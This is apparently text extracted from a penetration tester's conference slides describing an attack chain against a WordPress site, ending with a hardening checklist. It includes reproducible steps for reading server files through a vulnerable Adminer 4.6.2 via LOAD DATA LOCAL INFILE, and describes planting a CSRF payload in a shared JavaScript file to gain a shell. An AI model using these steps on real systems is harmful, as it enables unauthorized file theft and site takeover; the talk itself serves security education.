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Whoami

•Murat (@manfromkz)

•Master of Computer Science

•OSCP, eWPTXv2

• Security expert at NitroTeam

•Blog – https://murat.one

•CVE-2020-29143, CVE-2020-29142, CVE-2020-29140, 
CVE-2020-29139, CVE-2021-34187

https://murat.one/


Penetration testing (pentest)

• is simulating actions of real hackers

• can be: blackbox, greybox, whitebox



Real penetration testing case

1. Blackbox
2. Latest Wordpress with up-to-date plugins
3. Single site on server
4. Hard to brute-force passwords









So what?

•User of dev.wpexample.local probably can edit custom.js

•The code of custom.js is executes in web-browsers of 
wpexample.local users (including admin)

•Then, if you can edit custom.js, you can send AJAX-requests to the 
admin endpoint of wpexample.local

=> Next goal is dev.wpexample.local



Adminer 4.6.2













Requirements (victim)

•PHP: mysqli.allow_local_infile = On
• Before PHP 7.2.16 and 7.3.3 the default was “1”
• https://www.php.net/manual/en/mysqli.configuration.php#ini.my

sqli.allow-local-infile

https://www.php.net/manual/en/mysqli.configuration.php#ini.mysqli.allow-local-infile
https://www.php.net/manual/en/mysqli.configuration.php#ini.mysqli.allow-local-infile


Requirements (attacker)

•MYSQL: local-infile = 1
• https://dev.mysql.com/doc/refman/8.0/en/load-data-local-securit

y.html

https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html
https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html


Steps to reproduce

•Connect to own server

•CREATE TABLE `adminer` ( `data` text NOT NULL );

• LOAD DATA local INFILE 
'C:\\OpenServer\\domains\\dev.wpexample.local\\assets\\custom.js' 
INTO TABLE adminer fields TERMINATED BY "\n";

• SELECT * FROM adminer







Scheme

• File disclosure using vulnerable Adminer 4.6.2

•Gaining shell at dev.wpexample.local (.env and Laravel)

•Editing custom.js at dev.wpexample.local and adding CSRF payload

•Waiting admins authorization

•Gaining shell at wpexample.local



CSRF

•Cross site request forgery (CSRF) is an attack vector that tricks a web 
browser into executing an unwanted action in an application to which 
a user is logged in.

Example:
https://cats.photos/

Inside HTML:
Redirect to https://wpexample.local/logout or 
https://wpexample.local/change-email?v=hacker@attacker



Adding payload



Adding payload
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Adding payload



Adding payload



Adding payload



AJAX requests when admin visited main page



Shell





Checklist

•Don’t mix up dev and prod environments (passwords, encryption 
keys, etc.)

•Use redactor accounts

•Harden Wordpress 
(https://wordpress.org/support/article/hardening-wordpress/)

•Do regular updates

•Do quarterly pentests

https://wordpress.org/support/article/hardening-wordpress/


Questions?
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Thank you!


